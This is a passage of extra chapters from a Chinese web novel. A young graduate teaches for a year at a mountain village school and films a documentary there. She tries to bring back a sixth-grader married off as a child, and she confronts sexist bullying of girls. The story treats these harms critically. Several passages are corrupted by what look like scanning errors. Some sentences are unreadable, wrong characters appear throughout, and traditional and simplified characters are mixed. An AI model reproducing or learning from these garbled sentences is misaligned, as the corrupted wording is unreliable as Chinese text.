这些东西她都买好了,装在一个大袋子里,谷雨兴奋地接过来,在她脸上“啪叽”就是一口,措撒娇道:“谢谢妈妈~” 李固言在旁边哼了一声,“这些都是我陪妈妈一块儿去买的,怎么只谢妈妈?” 谷雨笑起来,补了一句:“也谢谢爸爸,谢谢爸爸~” 这次支教是一年的时间,中间恐怕只有过年能回来一次,谷雨收拾出了两大行李箱。 到了出发的日子,谷雨和家里人—告别,跟同伴们一起踏上去往本南县的火车。 他们的乘车方式跟当年舒英一行人几乎差不多,都是火车转大巴,不过现在山里的路好了很多,不再像那时候那么颠簸。 舒英听着电话感慨:“也是,都过去了这么多年了,当年我第一次去的时候,你还在上幼儿园呢,现在大学都毕业两年了。” 谷雨看着窗外的风景,举起设备拍摄,这次跟她环球旅行不一样,这次是重走妈妈走过的路,去看妈妈往返许多年、许多次的地方。 陆青野等她拍完后道:“马上就到地方了,说实话,我还有点紧张。” 他们要去的是本南县下属明月镇的明月镇小学。 “其实我也有点。”谷雨将相机收好,问她,“你是为什么来支教?” 陆青野笑了笑:“其实也没什么原因,就是某一天觉得生活很无聊,每天都在重复,又正好看见学姐的支教计划,我就报名了。” 后面的两个男生听到她们的对话,何阳抱着椅背身子往前倾首:“我是看到部纪录片,叫《山区》,不知道你们看过没有,我看了之后就觉得山区孩子的生活条件和学习条件很差,就有了支教的念头。”他说完三人又看向安平,安平轻咳了声道:“偶然看到支教的报名消息,就来了。” 四人聊开,紧张的情绪都平复下来,陈日的大巴车晃晃悠悠,终于到了目的地,司机指了一下路:“你们沿着这条路往那边看,看到没有,那个红房质就是明月镇小学,不远,走二十分钟就到了。”这边山多树多,空气中响起清丽的鸟鸣声 四人拖着行李下车,顺着司机指的路走,走到一扇铁门前,仰头看着门头上面的楷书招牌:明月镇小学。 83、番外一. 四个人透过铁门往里看,现在是上课时间,老师学生都在教室,显得校园内有些空荡。 俞校长听见大门口的动静跑过来给他们拉开铁门,有些款商地笑了笑道:“实在不好意思,这刚开学,学校里有些忙不过来,咱们这边大巴车又是人满开、随叫随停的,我也不知道你们什么时候能到,就没去接你们。 何阳赶忙说:“没事儿俞校长,我们本来就是过来帮忙的,而且从车上下来,我们也没走多久就到了。” 俞校长带看他们穿过教学楼走到后面的宿舍楼边走边介绍:“我们一共是六个年级一个年级一个班,家里离得远的孩子都是住校的,老师眼学生们住栋楼,这样孩子们要是有什么事,老师也能第时间知道,有些孩子年龄有些小,可能要特别关照一下。” 几人了然地点点头,拎着行李箱进了安排的宿舍。 天色渐晚,下课铃响,教学楼里的孩子们鱼贯而出,手里拿着不锈钢饭缸,在打饭点排队打晚饭。 谷雨从包里把相机拿出来,对着那边拍了几张照片, 陆青野环顾了一下宿舍,面积很小,陈设也很简单,两张铁架子上下床,靠窗一张小木桌,靠墙一个简陋的铁柜子,地面还是水泥地,房间里看着灰扑扑的,开灯也照不亮。 她把领来的被褥铺到床上,铺好后看向谷雨问:“我们是不是也要去打饭?不过我没带饭盒。” “应该是,食堂里应该有碗筷,我也没带饭盒。”谷雨收起相机走过来,她的床还没铺,打算吃完饭回来再弄。 这时,宿舍门被敲了一下,两人齐齐看过去,是安平。 安平站在门外没进来,轻轻道:“校长叫我们下去吃饭。” 谷雨答应:“就来。” "嗯"安平微微点了下头,转身离开 陆青野的床还差一点就整理好,她随手拉了一下站起身道:“等回来再弄吧,我们先下去吃饭吧,我也实在有些饿了。” “行。”谷雨点头,看着相机想了想还是带下去。 四人下楼,校园里突然出面陌生面孔,一路上都有学生好奇地盯着他们打量,却又在他们回看过去的时候羞涩地避开视线,几人会心一笑,进入食堂。 进去,就被俞校长拉到饭桌边坐下,并跟几人介绍在座的老师,包括俞校长在内,总共是六位老师。 俞校长笑了下:“还有一个庄老师,休产假了,所以咱们学校就只有六个老师,六个老师教六个班,哪个老师都请不了假,一请假就有一个班上不了课。”说着大家笑起来。 俞校长继续道:“不过现在又来了你们四个,还都是沪大的高材生,你们愿意过来,真是我们这些孩子们的荣幸。” 四人迎着他们期待又感谢的目光,都有些脸红,何阳连连摆手:“俞校长,您别这么说,我们也不过是尽些绵薄之力。” 俞校长笑起来:“好,那多余的话我也就不说了,咱吃饭吃饭,知道你们过来,特意让厨房吵了两个肉。” 晚上学生们还有晚自习,大家也就没多耽误,简单认识一番后就各自吃完去做各自的事情。 吃饭的时候,谷雨也把自己拍摄纪录片的想法跟俞校长等人说了一下,也无人反对,甚至有老师看到她脖子上的相机,当场伸手比耶,搂着旁边的同时让她给拍一张。 谷雨抿着唇笑,将来到这里的第一顿饭也记录下来,桌上的饭食、每个老师的笑脸、身后学生们的稀奇、以及窗外逐渐消逝的晚霞。 晚上的简单休整,第二天四人就正式上岗,拿着课本进入了不同的班级进行授课。 这边的老师是每个年纪每个班都教,谷雨拿着语文书进的第一个班一年级。 班里四十多个孩子,都抬起头好奇又陌生地看着她,而在他们打量她的同时,她也在打量他们。 年级的孩子,年龄服部在六岁到岁,但这里明显不是,有几个孩子看已经有十岁,还有一些概是/八九岁,谷雨目光过去,心中清趟,有些地方因为安穷,孩子上学会晚,不对,但至少明镇小学每年都会有几个。 她站在讲台对大家和善地笑了笑,拿起粉笔在黑板上写下自己的名字,向同学们进行自我介绍。 另外三人也是差不多的节奏。 虽然不是学师范的,但都是沪大毕业的大学生,只要提前认真备课,教这群小孩子还是很稳当的。 结果还没上几天课,学校里就出了件事,俞校长着急忙慌的,在办公室问:“六年级的马小花是不是这两天都没来了?” 郑老师点头:“是,她上周末回家后就一直没来,我想着她家可能有事,估计过两天就来了,校长,这是怎么了?出什么事了吗?” 这种情兄以前也是常有的,学生家里有事毗脚,推个两天再过来,只是般都会托同木的同学端个假,不过马小花请假,同内的学生也不知道缘由,郑老师心里也一直不放心,心想看这两天她要两不来,她就去家访看看怎么回事了。 俞校长皱眉叹气:“我听人说她是辍学了,家里给她说了亲,说是结婚去了。” 几个老教师听完还没说话,何阳先忍不住:“这不是胡闹呢吗!马小花我知道的,就算是上学晚,顶多也就十五六岁,小学都没毕业呢,怎么能去嫁人!” 谷雨对马小花也有一些浅显的印象,为人很安静,眼睛大大的,总是坐在教室的角落,低着头看书。 郑老师无奈摇头:“这种事,咱们这边常有的,对于很多愚昧的人来说,十五六岁的女孩就是到了嫁人的年纪了,所以……哎!”她重重叹息一声。 “这马上小学毕业了,就是再急也得等她毕业证拿到手,要不然连小学毕业证都没有。”俞校长摇着头,“不行,我现在得去瞧瞧去,得把人带回来读书,前面五年都念了,还差这一年吗?”何阳有些激动,立马站起来道:“校长,我跟您一块儿去!” 另外三人都站起来,“校长,我们也想去。” 俞校长犹豫地看了他们一眼,最终点头:“人多力量大,有你们几个年轻人,就是抢人也多几分胜算,那走吧,咱们一起。” 四人骑着借其他老师的电瓶车,两人一辆,跟在俞校长后面,朝着马小花家去。 谷雨走时没忘带着相机,虽然这个行为在此时显得有些冷漠,但她想,不管今天会拍摄到什么,等剪辑出来上映,能让更多的人知道山区女孩的处境,那就是有意义的。 俞校长知道马小花住哪,一路骑着小型摩托车风驰电掣,后面四人因为不熟悉山路,差点没跟丢了。 等到地方,俞校长看着张灯结彩的村院,脸色猛然一变,阴沉沉地拍响大门。 出来开门的是个中年男人,皮肤黝黑,面部呈不自然的酡红,一看就是喝酒喝的,身上还带着浓烈酒气 俞校长阴着脸沉着声问:“马二!马小花呢!”“马小花?”被叫做马二的男人眯着眼往前瞅了瞅他们,从胃里打出一个浓臭的酒嗝,“她在她婆家呢,你找她什么事?” “她婆家在哪?”俞校长没跟一个醉鬼废话,直截了当地问。 还不等马二回答,已经有围过来看热闹的村民道:“这人是明月小学的校长,我孙子就在那上学,这肯定是想来接小花回去上学的。” 马二的酒猛然一醒,凸出来的眼珠子瞪了众人一眼,接着就推操着离得最近的俞校长,要把人推出自己家院子,“走走走!别在我这里碍事。” 俞校长被推了一个踉跄,安平赶紧伸手扶着。 何阳看了眼俞校长,又看了眼正在关门的马二,气得挽袖子,大骂道:“你真不是个男人!你女儿才多大,还正在上学呢,你就要把她嫁人!” 马二一听,脱了鞋底就扔过来,叉着腰骂回来,嗓门又大骂的又脏,何阳哪见过这场面,瞬间有些懵然。 俞校长拉住他:“你别搭理他,我们现在是要去找马小花。” 旁边有好心的村民给他们指路:“马小花就嫁那边那黄家村了,村子里头一家,一过去就能看见。” 俞校长知道那,也不在这停留,立马带着几人往那边去。 三辆车怎么来的又怎么离开,等人走后,有好事的村民不忘排服马二:“吗二,你不过去看看吗?待会儿人要是把你国带走了,你收的那礼钱可都退回去,不过让你退钱,你还有钱退吗?估计部买酒了吧?” 看热闹的村民哄笑起来。 马二大梦初醒般反应过来,赶忙上前把刚才用来打人的臭鞋子捡起来再穿上,从院子里把电瓶车推出来,就要骑上去追前面的人。 陆青野骑车,谷雨坐在后面,一手扶着她,一手调试相机,看着刚才录下来的画面,又看着前面快要把车开的冒火的俞校长,心中有些沉重。 84、番外一… 到了黄家村,大家一眼就认出是哪家,很明显,只有那一家门上贴着喜字,门口的路面上还有放鞭炮留下的碎红纸,和着泥泞的地面,混乱中带着暗黑色彩的诡谲,谷雨将摄像头对准地面,停留了片刻。俞校长带人推门进去,临近中午,这家人这在准备午饭,谷雨印象中有些内向的马小花也围在灶台边,穿着围裙,一脸腼腆地忙活。 这家人对他们的到来感到诧异,年纪大一点的妇人擦了擦手上前问:“你找谁?” 俞校长指着里面不敢与他对视的马小花道:“我找她。” 年长妇人扭头看了她一眼问:“你找她有事吗?” “她是我学生,我来带她回去上课。” 年长妇人听到这话,瞬间变了脸色,不复刚才的和善面孔,“上什么课,她是我家媳妇,你回去吧,她以后都不上课了。” 谷雨和陆青野趁着这时钻进狭小昏暗的厨房,将躲闪的马小花拉了出来,猛然站到太阳下,她有些不适地晃了晃身子。 谷雨忙安慰她:“我们是老师,你认识我们的,我们不会伤害你,就是想带你回去上课,你都上到六年级了,再坚持坚持,就能毕 业了,就是再急也不急这一年。”说来都觉得悲哀,说是九年义务教育,实际上这大山中的女孩,又能有多少人能够安生地念完整个小学。 马小花忽然流下泪来,颤抖着身体道:“老师,我还能回去上课吗?” “能的,我们过来就是来接你的。”陆青野认真点头,“只要你想,我们现在就带你回去。” “出去,出去,这是我家,你们都给我出去!"年长妇人见势不对,拿起旁边的大扫帚就要撵人,又去拽马小花,“马小花,你给我回来!你现在是我家媳妇,我家付了彩礼的,你不能跟有他们走。“马小花惊恐地看着众人,不知如何是好。 就在大家争执不休时,马二也从外面进来,从脚上一抹鞋子就往几个老师身上扔:“这是老子闺女,老子不让她上,我看你们谁能把她带走!” 除了俞校长年龄大了,剩下的几个年轻老师都不是吃素的,何阳和安平也不跟他打,握着拳头架着他就把他拉到一边,省得碍事 马二被制住身子,怒目圆睁,嘴中还在破口大骂。 马小花看到他这样更是害怕,浑身抖得跟筛子一样,惊慌失措地央求老师:“老师们,你们回去吧,我已经嫁人了,我不上学了,我不上学了。” 就在谷雨和陆青野还想再劝劝她时,黄家的男人们也下地回来,扛着农具从外面进来。 俞校长见状叹息一声问:“马小花,你真不跟我们回去了吗?” 马小花猛然摇头:“不回去了,校长,我不回去了。”她那双大大的眼睛中盛满了眼泪,神色惶惶,惊惧中带着丝认命般的悲壮。 谷雨等人都沉默下来,心中都明白她从今天起就是彻底离开校园了。 回去的路上大家心中都好受,谷雨回到学校在马小花的抽尼里翻了翻,她的书还没带回去,刚开学没多久,书都是崭新的,她翻开语文书,第一面上TT整整地写着她的名字和年级,下面有简短的一行小好好读书,天天向上。 谷雨抿了抿唇,猝然发觉这次的支教并不如她想象的那么轻松,六个年级六个班,每个班的男生人数都比女生人数多很多,每个班级年龄偏大的也多是女孩子。 山区信号不好,她四处走着找信号跟爸妈断断续续地视频,将今天发生的事都告诉他们。 远在沪市的舒英和李固言看着卡顿视频里的女儿,很是心疼,前两年她自己去环游世界的时候,也遇到过很多困难、很多突发情况,那时候她虽然也苦恼,但眼神是有光的,他们看着那样的她虽然免不了担心,但也为她感到开心,但现在的谷雨所表达出来的苦恼更多的是无力,她无力改变这个现状,又没办法说服自己接受这种情况。 挂了视频后,谷雨收起手机深呼一口气,活动了下四肢,调节好心情,重新回到教学楼。 现在是晚自习时间,不上课,老师坐在班里看着学生们写作业。 谷雨今晚不用上晚自习,她回办公室去备明天的课,途中路过六年级,坐班的是安平,她放慢脚步往班里探头看了下。 安平在跟学生们聊天,神色认真地看着他们,声音平静低沉,娓娓道来地说着自己的大学生活,时不时举起手机给他们看照片。 “山外的世界是很大的,有很多精彩的事物,不止是大山,还有平原有大海有沙漠,等你们长大了,你们应该出去看看。”安平道。 “安老师,那这些你都去看过吗?” 安平摇头:“没有,我也还没有见过,希望以后我们都能去看一看。” 又有学生问:“老师,你刚才说的沪大那么好,我们也能考上沪大吗?” 安平微微笑了下,“当然可以,你们一点一点地学习,上完小学去念初中,然后念高中,通过高考,成绩优异就可以考上沪大,而且全国有很多很多大学,不上沪大,你们也可以上其它的大学。”“哇!听起来好好啊。” 孩子们交头接耳,讨论着刚才老师说的大学生活。 安平注意到门外的身影,转头望过来,见是谷雨,牵起嘴角对她露出一个浅淡的笑意。 谷雨也冲安平笑了笑,脚步轻快地经过班级到了办公室。 这边雨季长,蚊虫多,晚上老师们部要在有合里巡园,检查学生1的取账有设有拉好,有没有余留链隙,有合内有没有应圾雄积,有垃圾就要教育学生及时清理掉,这些脏东西品是液生细菌,最后又招来蚊虫 郑老师边带着谷两和陆青野巡视女宿舍,边道:也就是这几年,咱们这边的疟疾才好起来,在我还小一点的时候,差不多八九+年代吧,那时候疟疾很严重的,好多人都被传染,每年都有不少人因为得了这个病去世的。后来国家重视,派了好多专家来咱们这边攻克疟疾这个难题,一搞就是好多年,也是因为他们,我们这边的疟疾才几乎是没了踪影。” 谷雨在旁边听看,喘角悄上场,眼底足藏他遍不住的所做自豪,那招专家里就有她鹑的身影,她妈妈为减少底疾付出了多的心血,虽然这边很多人都知道她本人的名字,但她和区F的务力都有被当地人牢记在心中,深深感激着。 郑老师不知道她笑什么,正色道:“你们从大城市过来的,肯定没见过疟疾,可别不当回事,就算现在它被控制住了,我们也得注意防蚊,不能让孩子们感染,这感染就算不危及性命了,那罪也不是好受的。” 谷雨连忙收起笑,认真点头:“我懂的,郑老师,您放心吧,我们肯定会子仔细细地检查孩子们的宿舍的。” 一段时间过去,大家都何适应这边的生活了,每天都在认真地给孩子们上课,谷雨在课问休启时还会教孩子们打拳,开始只是小打小闹,逐新的,感兴趣的孩子越来越多,跟着她学的孩子也就越多,到课间,“嘿嘿哈哈”的声音就在楼下空地上响起。 俞校长端着保温杯从办公室窗户往下看,笑起来道:“小李真有活力。” 何阳取着笑,推荐《地球使用指南》,道:“你们别看这个纪录片名字好像不太正经,其实内容很不错的,拍塌了很多地组风格和不同的山I湖海。李老师在旅行途中也遇到了不少麻烦,最后都一化解,特别生动有趣。” 说完好像听到了熟悉的声音样环顾四周,看到边看电脑的安平,凑过去瞧,瞧完了满意地笑起来:“就是安老师看的这个,经过我的推荐,咱们安老师已经下载到电脑上了,大家要是感兴趣,可以眼安老师借来看。” 安平听完他的话,默默滑动鼠标看了眼自己的下载时间,没有说话。 这时,常老师有些头疼地看着手里的名单,根本没心思听几个年轻人在那说什么纪录片,他抬起头看向俞校长道:“校长,这几个学生到现在都还没交费用。” 这里的费用不止是学费,义务教育期间,学费没有多少,主要是孩子们的饭钱和住宿钱,因为宿含就在学校里,没有额外房租,遇到真困难的学生,学校能给免也就免了,但饭钱却是实打实的,一两个学生不交,学校还能负担得起,常老师看着这些“钉子户”,这么多,食堂不止一次跟他抱怨没钱买菜了,他是真没办法了。 孩子们交不起钱被催收,孩子们也无措,老师不是恶人,看着他们不安,老师也无奈,但情况确实是这个情况,他们不交钱,食堂真要买不起菜。 俞校长叹口气:“先从我工资里垫吧,我再去他们家里催一催。” 常老师摇头,翻着名单不忘吐槽:“校长,前段时间学校修厕所就是你垫的钱,再垫,你这个月就一分钱都没有了。” 俞校长没说话,何阳几人也收起笑,老实地坐回自己办公桌。 85、番外一…. 谷雨是晚上回宿舍从陆青野口中知道的这事。 明月小学是一所乡镇小学,而且还是在大山里,各项条件都挺差的,这些她都是知道的,她只是没想到竟然会艰难到需要校长垫钱的地步。 她想了一晚上,决定明天去找一下俞校长,学校应该是接受捐款的,她可以每年都给学校捐钱。 俞校长听完她的话惊诧地看着她,不可思议地问:“每年都捐?“他知道这四个老师都是大城市来的,家境肯定比他们好,但每年都捐款,也不是一笔小数目了。 谷雨点点头补充道:“不止是孩子们交不上的餐食住宿费,还有正当的一些资料费,学校修缮费,只要是合理的,我都可以出这个钱。”她并不是随口一说,她有认真想过这件事,在回胡胡挤这个学校待了这么 久,能感受到学校里的老师都是真心为了学生好的人,所以她也愿意拿出这笔钱。 “你,你让我想想。”俞校长听完这话更是震惊张大嘴巴说不出话,每年光学生们交不起的饭钱都不是一笔小钱了,更别说再加上这些杂七杂八的…… 谷雨歪着头看了他一眼,体贴道:“那校长,您先想,我给孩子们上课去了。” 上课铃都响两分钟了,她再不去,小患子们该闹翻天了。 果不其然,她紧赶慢赶地,还没进班呢,就能听见班级里的吵嚷。 谷雨沉下脸,拿着课本进班,脚步声从前门传到整个班级,学生们都很有眼色的老实坐好,喧闹声瞬间消失,好像刚才的胡闹从未有过一般。 谷雨用眼神扫视了一下全班,沉默地将书翻开,没有批评他们。 但往往老师就这个样子最是可怕,上小学的孩子能见过什么世面,都被嚇得大气不敢出,缩著腦袋在下面将课本乖乖拿出来,翻到今天要上的那一课,时不时还要偷摸用眼神觑一下台上老师的神色。谷雨将这切都看在眼里,表面上是什么都没说,但没压住微微抽痛的嘴角,心想怪不得小时候上学那会儿老师都說你们的小动作他都能看在眼里呢,这往講台上一站,台下怎么样是真看的清楚啊。“好了,今天这种情况下不为例。”她拿起粉笔,转身背对着孩子们在黑板上写板书,“我们今天来上这一课,大家都认真听讲,好好做笔记。” 俞校长慎重思考了一节课,最后咧有嘴接受了谷雨的捐款,并一再保证,这钱肯定会合理合法的使用,绝对不会有什么彎彎绕绕。 听到他这么说,本来没多想的谷雨,不由得也往深了去想,人心复杂,有些东西是说不准的,每年都有这么一笔钱,一年两年的还能坚守初心,十年八年的就真不一定了,但她看着现在眼前激动的不知如响是好的俞校长,没有说出心底的担忧,或许等支教结束后,她可以找专业的人或专业的组织来替自己处理这些事情。 又或者,她可以成立一个自己的慈善基金会。 还没等她想好这件事到底具有几分可行性时,学校里又发生了一件事。 要说起这件事也跟马小花有那么一丁点关联。 马小花为人虽然内向腼腆,年龄又比同班大部分同学都要大好几岁,但在班里也有几个知心朋友。 这几个女孩子跟马小花的处境也都差不多,家庭成分复杂,没什么钱,本来就想让她们早早辍学嫁人,家里面好收取采礼钱,这下有了马小花的例子在前,她们家里就更好拿捏她们了,每每周未回家,都要被家里数落一通,让她们跟马小花学学,懂点事早点嫁人。 这种环境下,使得她们如惊慌之鸟,课间聚在一起商量对策,结果被班上几个刺儿头听见了,一会儿“啧”,一会儿“嗤”的。 几个女孩也不跟他们争,惹不起还躲不起吗?收拾了东西就想远离他们,结果他们到还来劲了,追着女孩们嘲讽。 “要我说,女孩还上什么学啊,能认点字,看得懂化肥说明书不就得了吗?” “就是就是,这班级就这么大,她们要是都被撵回家等着嫁人,能给我们空出来好多位置。” “你们也真是不懂事,就不能跟马小花学学吗?反正以后都是要嫁人的,不如跟她一样早早回家。” 几个女孩都胆小,也不敢跟他们争辩,被说的眼泪止不住地流,只好找到办公室跟老师们告状。 谷雨听到这事时,大惊道:“这不就是校园霸淩吗?” 陆青野认同地点头。 常老师不太赞同地反驳说:“小李,你不要说的那么严重,都是才六年级的小孩,哪就够得上什么校园霸凌?又没动手,顶多就算是同学们之间拌拌嘴吵吵架。“ 谷雨不同意他这个观点:“常老师,校园霸凌不止是动手打架才算是霸凌,语言霸凌也是霸凌,你看她们几个委屈的,那几个男学生说的话也太难听了,什么叫‘女孩上什么学啊?'',什么叫‘反正以后也要嫁人的,不如早早辍学回家啊?''" 她皱着眉,跟老教师据理力争:“常老师,难道您认同他们这个观点啊?我记得你女儿不是在县城上高中呢吗?上的还是一中,要是她这样被同学说,您心里不难受啊?” 常老师支支吾吾,但还是嘴硬道:“那可以说那几个学生说的话不对,但怎么也算不上霸凌,这种话可不能乱说,尤其是咱们做老师的,不能给学生扣帽子。” 什么扣帽子,不就是想大事化小,小事化了吗?谷雨知道他心里想的什么,怕学校里闹出什么事来,从他的角度来看,也不算错,但她就是忍不了。 几个女孩抽抽噎噎的,听着两个老师争论,互相手拉着手,好像这样她们抵抗这个世界的力量就会再大一点。 陆青野将她们拉到自己桌前,轻声问:“还没去打饭呢吧?现在食堂估计也没饭了,老师这儿还有点面包饼干,你们拿去分着吃吧。” 她们互相之间看了看,谁都不好意思伸手拿。 陆青野见状,直接将抽屉里的零食掏出来塞到她们口袋里,道:“晚上还要上晚自习呢,你们先去把肚子填饱,你们剛才说的这事我们都知道了,等明天眼俞校长说,他肯定会为你们做主的。” 等人出去,常老师也端了饭出去吃,郑老师摇摇头,一副过来人的经验劝道:“这种事情咱们这边多了,有些村民愚昧无知,就是不愿意供女孩子上学,你说现在都义务教育,上个学能花多少钱?但人家就是不愿意掏,宁願拿这个钱买烟抽买酒喝,都不愿意给孩子交伙食费,不信看看常老师的那个欠费名单,上面绝大多数都是女孩,寥寥几个男孩也是因为家里真穷真交不起。” 郑老师看著她们不政相信的样子又道:“也是,你们都是从沪市来的,家里就你们一个女儿,平时用著智能手机,敲着筆记本电脑,放假了还能眼朋友们到处旅遊,肯定不相信都这个年代了,竟然还会有这样的事,但我告诉你们,这种事在咱这里多了!别想着什么义务教育,女孩还能上不起学吗?那独生政策那么严格,你们向问这些学生们,他们那家不是兄弟姐妹好幾个国家也想让她们上学,教育同还有我们这些学校里的老师都没少家访给这些家长做思想工作,但是没用啊,这么多户人家,还都在大山里,来往不便,他们态度强硬,我们也不能跟人抢人啊,就算是抢了,那孩子天然的就向着爸妈,我们是抢也抢不走。” 谷雨脸上浮现出一丝难过,来这里这么久,她只知道这里的女孩子不受重视,但没想过她们的处境这么困难。 她走出办公室,绕着校园走,看到围墙上的旧标语,“生男生女一样好”,但“女”字却被人用小刀刮去,只留下一块空洞,经年久日的风吹雨淋着,再不见“女”字痕迹… 铃声响起,到了晚自习时间,今天是她看六年级,她进了教室,环顾-周,受了欺负的女孩子这时候情緒已经恢复了平静,正在位置上埋首写作业,不知道那些饼幹面包有没有把她们的肚子填飽。 而欺负了人的几个男孩却好像什么事都没发生过一般,脸上还扬着笑。 谷雨不是班主任,没有批评他们,其实她也不知道该怎么批评,那种观念早就已经融进了他们的骨血里,就算她这时骂了他们一顿,也不会起什么作用。她问:“你们知道国内有哪些名校吗?” “我知道我知道!”学生们踴跃回答,将他们知道的学校说了个遍。 谷雨听着他们跑火车一样的学校名笑了笑,又说:“你们知道我从哪所大学毕业吗?” “知道!沪大!” “那你们知道沪大里男女比例是多少吗?” 这下学生们不清楚了,他们齐齐摇头。 “就我所知,沪大的男女人数对半开,什么意思呢,就是说至少有一半的学生都是女孩子,来自全国各地的女孩子,甚至不止是国内,还有国外的女孩子。” 86、番外一 学生们面面相觑,其中一个女孩子不敢相信似的弱弱问:“老师,你说的是真的吗?” 谷雨笑了:“当然,老师就是从那里毕业的,而且你们要是不相信我的话,也可以去问陆老师。“ 谷两走下讲台,走到海个孩子身边,看着她们,温柔地笑道:“人的一生是很长的,每个人都有无眼可能,老师虽然学的编导,但大学牛业后 直不知道自己想从事什么工作,那附候我也很米茫,也许就像你们现在样。然后我就想那就出去走走看看吧。后来我去了很多地方,去了挪成的地湾,亚马逊的雨林,站在乞力马扎罗的火山口边缘,看世界升起的第一缕朝阳,我去了很多地方,见了不同的人、动物、景色,我曾在非洲草原上看到过难产的母狮,当她成功生下小狮子时,我们所有人都在为她欢呼,为母亲欢呼,为新生命欢呼。” “所以我想告诉你们我们女孩子身上蕴合着无穷的力量,哪怕你们现在没有办法离开深山,但你们总会长大,长到老师这么大你们可以用你们的脚步去丈量这个世界,用你们的眼睛去博览明川,用心去印证糟粕就是糟粕,不是你们值得奉为神祗、用青春去守着的东西。” 她没有明着去批评谁,她只是想让这些女孩子能够学会呐喊,哪怕现在只是无声,但迟早有一天,她们的力量会冲破大山,抵达全球各地。 这些话题有些沉重了,谷雨笑了笑,换了话题道:“你们想不想看我拍的纪录片?我教了你们这么长时间,还没有给你们放过呢。先说好,看完只准夸奖,不准说不好。”她用手指在班级指了一圈,开着玩笑。 大家都笑起来,朗声回道:“好!” 今天,女孩子的声音格外响亮,谷雨不由笑起来,走上讲台,给他们放映《地球使用指南》。 她花了近两年的时间拍摄,边拍边剪,将这部纪录片浓缩成六集,一集一小时。 今天肯定是看不完的,谷雨给他们放了第一集。 教室里的灯关掉,房间陷入黑暗,只剩下黑板前的投影幕布,这些投影仪还是政府重视孩子们的学习,统给安装的。 学生们半趴在桌子上,全神贯注地盯着幕布,看着视频里明显与这里不同的异国风景,不久,视频里出现他们熟悉的李老师,清度微黑,但笑容明媚,肌肉紧实,浑身充满力量感 看到这里,班上不少人都下意识回头看了眼坐在后排的李老师,文静温柔的样子简直让人无法相信她跟视频里是同一个人。 谷雨笑了笑,目光在晚上哭诉的几个女孩子身上轻扫,见她们放松又专注地看着视频,互相交头接耳,小声说这话,桌下的手分享着零食,再定睛,那零食还是陆青野给她们的饼干面包,估计是当时没舍得吃,现在才吃。课间的时候,因为他们班在放视频,吸引了不少其它班好奇的孩子,大家都从走廊上的窗户国过来,探有义往教室里看,办公室里的几个还没走的老师也对这热闹产生好奇,都凑到班级后排,坐在谷雨旁边跟着一块儿看。 第一集结束,教室灯光亮起,孩子们都很兴奋,叽叽喳喳问着关于视频里的东西。 “李老师,你还会弹琵琶吗?” “是啊,可惜我没带过来,要不然还能给你们弹一段听听,琵琶里有一首很著名的曲子,叫《十面埋伏》,整首曲子雄浑有力、慷慨激昂,等下学期我带过来,教你们弹。” “好!” 安平看着讲台上操作电脑的谷雨,眼睫不自然地眨了眨,脑子里晃过一个小女孩熟练弹琵琶的视频。 谷雨将电脑关上后抬头,正巧看到他离开教室的背影,抿唇笑了下后对着学生们拍拍手:“行,今天的晚自习就到这里,大家回宿舍赶紧洗洗就上床睡觉吧,待会儿我和陆老师会去女生宿舍检查,不准在被子里打着手电筒偷偷看小说,很伤眼睛的。男生也别幸灾乐祸,安老师和何老师会去你们宿舍的。” 为期一年的支教生活结束的很快,四个老师就要像来时一样离开这所学校,同样离开的还有六年级的所有学生们。 经过这一年的相处,老师们之间都产生了深厚的感情,不光是老师,学生们也都很喜欢这几个大城市里来的大哥哥大姐姐,他们说着与他们不同口音的话,但给他们带来了很多大山里没有的见闻 时之间,对即将离开的四位老师,学生们都很不舍,抹着眼泪带着哭腔,谷雨心中也有些酸涩,毕竟教了他们两个学期,日日夜夜的相处,真的付出了辛苦和情感。 “李老师,陆老师,谢谢你们。”几个女孩手牵手,走到她们两人身边,一如当初的腼腆,从口袋里掏出一张有些皱巴的纸,看着上面的字说,“谢谢你们过来,谢谢你们告诉我们女孩也能做好多好多事,可以念大学,可以旅游,可以学打拳,可以学弹琵邑,可以去全世界看看,以前没有人跟我们说这些,他们都说女孩要洗衣服扫地要烧锅做饭,女孩要早早嫁人,不能花家里的钱,要给家里拿钱,要帮兄弟要娘妇…李老师,陆老师,我们以后想像你们一样成为很厉害很有力量的人,再也不被别人欺负,我们首先是我们自己,其次才是女儿,才是母亲,才是妻子…" 谷雨和陆青野都没想到她们还写了这些东西念给她们听,一时都有些热泪盈眶,两人半弯腰,将女孩子们搂进怀里,不住地点头:“老师相信你们,你们都会成为最棒的自己的。” 从本南县回来,谷雨一时间还没办法从那种情绪中抽离出来,整个人又像一年前一样瘫在床上。 舒英知道她在想东西,也不问她,也不催她,就连她把小黑抱上床睡觉都睁一只眼闭一只眼。 躺了几天后,谷雨又活力满满,饭桌上呼噜呼噜喝下一大碗粥后,满足地对着大家宣布:“我马上要开始剪纪录片了!” 李妈问:“就是你支教这段时间拍的是吧?” “对!”谷雨用力点头,“名字我都想好了,就叫《雨季来信》,那边一年有八个月都处于雨季,这个名字再适合不过了。” 李固言点点头:“这个名字不错,很有诗意,从雨季的大山中发出的一封信,邀请了你们这群充满了精力和热情的年轻人过去。” “嘿嘿我也是这么想的,咱俩真不愧是父女俩,简直是想到一块儿去了。” 舒英没眼看的笑起来问:“那你这准备花多长时间剪完?还跟上一部一样剪成六集吗?” 谷雨摇头:“不剪那么长,就剪成九十分钟,一部电影的时间就行。” 她一向有自己的想法和安排,大家不干预她,只在她废寝忘食的时候提醒几句。 又过去一个半月,《雨季来信》剪完,被她上传到视频网站,因为有前一部纪录片打下的粉丝基础,所以这一部在一上传的时候就吸引了不少人观看。 不少人在看完后真情实感地留言。 “谷雨又回来了!新作品还是一样的味道,笑中带泪,看的我一会儿哭会儿笑的!” “是的!我在看的时候也是!尤其是看到突然停电,大家不约而同拿出蜡烛点上,动作兼练到好像彩非过一样,那瞬,我真的没忍住笑。还有花花同学,被迫锻学回家嫁人,虽然打码还做了声音处理,但赛克根本挡不住她父亲的丑恶嘴脸!这种人到底是怎么配生孩子的?!” 唉,其文我就是从大山里出来的女孩,跟视频里的绝大多数孩样,但我上完了小学,是上初二的时候被家里人喊回去嫁人,后来又出来打工的,当时不觉得,现在想用时候的自己,过得真苦。看着视频里的她们,感觉看到了我自己。” “有没有捐款渠道啊,我想给他们捐点钱。” 谷雨将视频上传后就在看大家的评论,看到这里的时候愣了下,突然想起一件事,她放下电脑出去。 舒英和李固言知道闺女今天上传视频,特意空了时间出来,守在家里第一时间观看。 